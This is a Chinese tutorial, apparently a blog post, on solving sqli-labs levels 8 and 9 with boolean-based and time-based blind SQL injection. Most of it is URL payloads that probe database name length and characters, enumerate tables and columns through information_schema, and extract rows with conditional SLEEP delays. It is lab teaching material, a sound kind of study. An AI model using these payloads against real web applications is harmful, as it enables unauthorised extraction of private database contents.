boolen盲注与时间盲注,sqli-labs第八关与第九关

一:boolen盲注

1.确认注入的类型

?id=1'

?id=1" ?id=1

只有在单引号时无显。

?id=1' AND 1=1 --+

由于 1=1 条件恒为真,若页面显示 You are in...........,说明构造的条件使 SQL 查询能匹配到结果。

?id=1' AND 1=2 --+

由于 1=2 条件恒为假,若页面不显示 You are in...........,说明构造的条件使 SQL 查询无匹配结果。

2.数据库名长度

?id=1'and length((select database()))=7--+

?id=1'and length((select database()))=8--+

3.获取数据库名

?id=1' and ascii(substr((database()),1,1)) =115 --+

4.获取表名

?id=1' and (ascii(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+

5.获取具体数据

?id=1%27%20and%20%20(select%20count(*)%20from%20users)=13%20--+

二:时间盲注

1.判断注入类型

?id=1%27%20AND%20SLEEP(5)--+

首先,我们需要确认注入点是否存在。可以尝试在 id 参数后面添加单引号,观察页面响应时间是否有变化。如果页面响应时间明显增加了 5 秒,说明注入点存在。

2,获取数据库名长度

?id=1%27%20AND%20IF(LENGTH(DATABASE())=N,%20SLEEP(5),%201)--+

N 从 1 开始逐步递增,直到页面响应时间增加了 5 秒,此时的 N 就是数据库名的长度。

3.获取数据库名id=1%27%20AND%20IF(SUBSTR(DATABASE(),%20N,%201)=%27CHAR%27,%20SLEEP(5),%201)--+

将 N 从 1 开始逐步递增,CHAR 从 a 到 z、A 到 Z、0 到 9 以及其他可能的字符进行尝试,直到页面响应时间增加了 5 秒,此时的 CHAR 就是数据库名的第 N 位字符。

4.获取表名

?id=1' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='DATABASE_NAME' LIMIT N, 1), 1, 1)='CHAR', SLEEP(5), 1)--+

直到页面响应时间增加了 5 秒,此时的 CHAR 就是第 N 个表名的第 1 位字符。然后逐步递增 N 和字符位置,直到获取到所有表名。

5.获取列名

?id=1' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='DATABASE_NAME' AND table_name='TABLE_NAME' LIMIT N, 1), 1, 1)='CHAR', SLEEP(5), 1)--+

直到页面响应时间增加了 5 秒,此时的 CHAR 就是第 N 个列名的第 1 位字符。然后逐步递增 N 和字符位置,直到获取到所有列名。

6.获取数据

id=1' AND IF(SUBSTR((SELECT COLUMN_NAME FROM TABLE_NAME LIMIT N, 1), 1, 1)='CHAR', SLEEP(5), 1)--+

直到页面响应时间增加了 5 秒,此时的 CHAR 就是第 N 条记录的 COLUMN_NAME 列的第 1 位字符。然后逐步递增 N 和字符位置,直到获取到所有数据。

相关推荐
l1t1 小时前
DeepSeek总结的DuckLake 架构深度剖析-2
数据库·架构
YOU OU1 小时前
Redis事务
数据库·redis·缓存
数智化管理手记2 小时前
财务大数据怎么管住资金风险?财务大数据和财务数智化到底怎么结合?
大数据·网络·数据库·人工智能·数据挖掘
晓子文集2 小时前
Tushare接口文档:指数成分和权重(index_weight)
大数据·数据库·python·金融·量化投资
吴声子夜歌2 小时前
MongoDB 4.2——入门指南
数据库·mongodb
吴声子夜歌2 小时前
MongoDB 4.x——高可靠
数据库·mongodb
light blue bird2 小时前
组轴式执行引擎 ✅ 多线程调度组装组件
数据库·信息可视化·oracle·桌面端winform·多节点端·gdi图表绘制开发
码农学院2 小时前
Node.js MongoDB构建户外用品GEO优化内容管理平台
数据库·mongodb·node.js
吴声子夜歌2 小时前
MongoDB 4.x——治理经验
数据库·mongodb
黄华SJ520it3 小时前
门店预约系统开发:提升服务行业数字化转型
前端·数据库·系统开发